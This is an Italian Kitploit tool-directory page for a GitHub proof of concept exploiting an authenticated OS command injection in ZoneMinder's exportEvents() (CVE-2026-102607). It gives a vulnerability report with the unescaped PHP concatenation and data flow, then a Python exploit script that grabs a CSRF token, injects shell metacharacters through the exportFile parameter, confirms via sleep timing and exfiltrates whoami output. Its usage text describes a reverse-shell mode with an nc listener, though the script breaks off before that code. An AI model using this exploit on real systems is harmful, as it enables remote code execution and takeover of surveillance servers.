Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingCommand and ControlTrojan di Accesso Remoto
GitHubd4kw1n/cve-2026-102607-zoneminder

CVE-2026-102607-ZoneMinder

PoC Python che sfrutta CVE-2026-102607, un'iniezione di comandi OS autenticata in ZoneMinder <= 1.38.1 exportEvents() che consente RCE, esfiltrazione dell'output dei comandi e reverse shell.

Vedi Repository
16 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Rapporto sulla vulnerabilità di sicurezza: OS Command Injection in ZoneMinder exportEvents()

Riepilogo

Esiste una vulnerabilità di OS Command Injection autenticata nella funzionalità di esportazione degli eventi di ZoneMinder. Il parametro della richiesta HTTP exportFile viene passato senza sanificazione in un comando shell eseguito tramite exec() di PHP, consentendo a qualsiasi utente autenticato con permesso View Events di eseguire comandi arbitrari del sistema operativo sul server.

Questa vulnerabilità comporta un'esecuzione completa di codice remoto (RCE) come utente del web server (www-data).

Gravità

  • Punteggio CVSS v3.1: 8.8. (Alto)
  • Vettore CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-78 (Neutralizzazione impropria di elementi speciali utilizzati in un comando del sistema operativo)

Versioni interessate

  • ZoneMinder ≤ 1.38.1 (ultima release al momento della stesura)
  • Confermato su ZoneMinder 1.38.1

Dettagli della vulnerabilità

Posizione

  • Punto di ingresso: web/ajax/event.php, riga 103
  • Funzione vulnerabile: exportEvents() in web/skins/classic/includes/export_functions.php, righe 1030–1032

Causa principale

La funzione exportEvents() accetta un parametro $export_root proveniente direttamente da $_REQUEST['exportFile'] (tramite ajax/event.php, riga 103). Questo parametro viene utilizzato per costruire il percorso della directory aggiunto ai comandi tar e zip.

Mentre il percorso del file di archivio ($archive_path) alla riga 1020 è correttamente sottoposto a escape tramite escapeshellarg(), l'argomento della directory finale alla riga 1030 è concatenato direttamente nella stringa del comando senza alcuna sanificazione:

// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Line 1032 — executed
exec($command, $output, $status);

Un attaccante può iniettare metacaratteri della shell (;, |, &&, ecc.) nel parametro exportFile per uscire dal comando tar/zip previsto ed eseguire comandi arbitrari. La / finale aggiunta da PHP può essere neutralizzata usando # (carattere di commento della shell).

Flusso dei dati

HTTP Request: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (line 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (line 890)
    └── $export_root = $_REQUEST['exportFile']   // No sanitization
                │
                ▼
export_functions.php (line 1030)
    └── $command .= ' ' . $export_root . '/'     // Direct concatenation
                │
                ▼
export_functions.php (line 1032)
    └── exec($command)                           // OS Command Execution

Prerequisiti

  • Autenticazione: Qualsiasi utente autenticato con permesso View Events o View Snapshots.
  • Token CSRF: Deve essere incluso un token __csrf_magic valido (recuperato da qualsiasi pagina di ZoneMinder).
  • exportDetail=1: Questo parametro deve essere incluso nella richiesta per prevenire un errore fatale di PHP in exportEventImagesMaster() quando si utilizzano ID evento inesistenti.

Proof of Concept

PoC del codice

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)
Scarica lo strumento